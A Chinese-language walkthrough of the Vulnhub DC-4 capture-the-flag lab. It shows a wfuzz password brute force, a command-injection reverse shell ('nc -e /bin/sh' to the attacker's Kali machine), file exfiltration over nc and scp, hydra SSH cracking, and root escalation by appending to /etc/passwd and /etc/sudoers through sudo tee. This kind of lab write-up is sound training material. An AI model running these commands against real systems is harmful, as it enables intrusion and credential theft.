靶機IP:192.168.20.138
kaliIP:192.168.20.128
網絡有問題的可以看下搭建Vulnhub靶機網絡問題(獲取不到IP)
信息收集
nmap掃下端口及版本
dirsearch掃下目錄
沒發現什么敏感信息，看下前端界面
想到會不會存在SQL注入，弱密碼等漏洞。
經過測試SQL注入漏洞是不存在的，這里講下弱密碼爆破。
由提示’Admin Information Systems Login’想到管理員賬號會不會是systems或者admin，
用到了wfuzz，使用見爆破工具wfuzz的使用筆記
這里先用rockyou.txt的前10000個口令（全部口令太多）
wfuzz -c -v -w pass.txt -d "username=admin&password=FUZZ" --hh 206 -u http://192.168.20.138/login.php
解釋下參數，-w是指定字典，-d是POST提交，FUZZ是字典位置，–hh 206是隱藏響應頭長度為 206 字節的響應。
因為如果登陸失敗返回的響應頭長度為
拿到admin密碼，登入。
這里面有個重定向，登錄一直被重定向到index.php，登陸進去手動進到login.php頁面就好啦。
漏洞利用
看到有個命令執行漏洞
burp抓包修改參數radio可以執行任何命令，我們執行nc -e /bin/sh 192.168.20.128 6666，反彈shell。
之后可以用python獲得交互shell。
提權
之后查看passwd，獲得三個用戶，去home目錄下看看有什么信息。
發現jim目錄下有個mbox(無法讀取)，backup.bak（備份文件）。
www-data@dc-4:/usr/share/nginx/html$ cat /etc/passwd | grep "bin/bash"
cat /etc/passwd | grep "bin/bash"
root:x:0:0:root:/root:/bin/bash
charles:x:1001:1001:Charles,,,:/home/charles:/bin/bash
jim:x:1002:1002:Jim,,,:/home/jim:/bin/bash
sam:x:1003:1003:Sam,,,:/home/sam:/bin/bash
www-data@dc-4:/usr/share/nginx/html$ whoami
whoami
www-data
www-data@dc-4:/usr/share/nginx/html$ ls /home/jim
ls /home/jim
backups mbox test.sh
www-data@dc-4:/usr/share/nginx/html$ ls /home/sam
ls /home/sam
www-data@dc-4:/usr/share/nginx/html$ ls /home/charles
ls /home/charles
www-data@dc-4:/usr/share/nginx/html$ ls /home/jim/backups
ls /home/jim/backups
old-passwords.bak
之后可以通過nc
kalinc -nvlp 6666 > pass.txt 接收文件，命名為pass.txt
靶機nc 192.168.20.128 6666 < old-passwords.bak
和scp命令把這個備份文件傳到kali上。
www-data@dc-4:/usr/share/nginx/html$ scp /home/jim/backups/old-passwords.bak root@192.168.20.128:/home/kali/Desktop
<asswords.bak root@192.168.20.128:/home/kali/Desktop
Could not create directory '/var/www/.ssh'.
The authenticity of host '192.168.20.128 (192.168.20.128)' can't be established.
ECDSA key fingerprint is SHA256:nqK5AUrd+/UQhRukAMzIDFooNn5Etiz8zvygHp5rkDY.
Are you sure you want to continue connecting (yes/no)? yes
yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
root@192.168.20.128's password: rootold-passwords.bak 100% 2047 271.7KB/s 00:00
讀取.bak文件發現是密碼表。
因為是從jim的文件拿過來的，之前信息收集又直達開放了ssh，所以我們用這個密碼表爆破SSH登錄JIM賬號。
爆破SSH使用hydra，使用教程見使用hydra進行SSH爆破
爆破出SSH密碼：jibril04
之后我們直接ssh連接
去讀取一下mbox
是封郵件測試
之后我們去郵件路徑看看是否有其他郵件
jim@dc-4:~$ cd /var/mail/
jim@dc-4:/var/mail$ ls
jim
jim@dc-4:/var/mail$ vim jim
-bash: vim: command not found
jim@dc-4:/var/mail$ vi jim
內容是Charles要去度假，boss讓他把自己的密碼交給Jim。
我們就拿到了Charles的密碼^xHhA&hvim0y。
su登錄
沒有SUID提權，運行下sudo -l發現tee命令。
Linux tee命令用于讀取標準輸入的數據，并將其內容輸出成文件。
tee指令會從標準輸入設備讀取數據，將其內容輸出到標準輸出設備，同時保存成文件。
- 我們直接在passwd中新建一個用戶給他root權限就好啦。
這里-a是指在文件尾添加。
之后find flag
charles@dc-4:/var/mail$ su y06z
# whoami
root
# find / -name flag*
/sys/devices/pci0000:00/0000:00:11.0/0000:02:01.0/net/eth0/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/virtual/net/lo/flags
/root/flag.txt
# vim /root/flag.txt
sh: 3: vim: not found
# vi /root/flag.txt
# cat /root/flag.txt888 888 888 888 8888888b. 888 888 888 888
888 o 888 888 888 888 "Y88b 888 888 888 888
888 d8b 888 888 888 888 888 888 888 888 888
888 d888b 888 .d88b. 888 888 888 888 .d88b. 88888b. .d88b. 888 888 888 888
888d88888b888 d8P Y8b 888 888 888 888 d88""88b 888 "88b d8P Y8b 888 888 888 888
88888P Y88888 88888888 888 888 888 888 888 888 888 888 88888888 Y8P Y8P Y8P Y8P
8888P Y8888 Y8b. 888 888 888 .d88P Y88..88P 888 888 Y8b. " " " "
888P Y888 "Y8888 888 888 8888888P" "Y88P" 888 888 "Y8888 888 888 888 888 Congratulations!!!Hope you enjoyed DC-4. Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.If you enjoyed this CTF, send me a tweet via @DCAU7.- 也可以直接在/etc/sudoers中，給charles所有權限
echo "charles ALL=(ALL:ALL) ALL" | sudo teehee -a /etc/sudoers
charles@dc-4:/var/mail$ sudo -l
Matching Defaults entries for charles on dc-4:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser charles may run the following commands on dc-4:(root) NOPASSWD: /usr/bin/teehee(ALL : ALL) ALL
charles@dc-4:/var/mail$ sudo su
root@dc-4:/var/mail# cat /root/flag.txt888 888 888 888 8888888b. 888 888 888 888
888 o 888 888 888 888 "Y88b 888 888 888 888
888 d8b 888 888 888 888 888 888 888 888 888
888 d888b 888 .d88b. 888 888 888 888 .d88b. 88888b. .d88b. 888 888 888 888
888d88888b888 d8P Y8b 888 888 888 888 d88""88b 888 "88b d8P Y8b 888 888 888 888
88888P Y88888 88888888 888 888 888 888 888 888 888 888 88888888 Y8P Y8P Y8P Y8P
8888P Y8888 Y8b. 888 888 888 .d88P Y88..88P 888 888 Y8b. " " " "
888P Y888 "Y8888 888 888 8888888P" "Y88P" 888 888 "Y8888 888 888 888 888 Congratulations!!!Hope you enjoyed DC-4. Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.If you enjoyed this CTF, send me a tweet via @DCAU7.
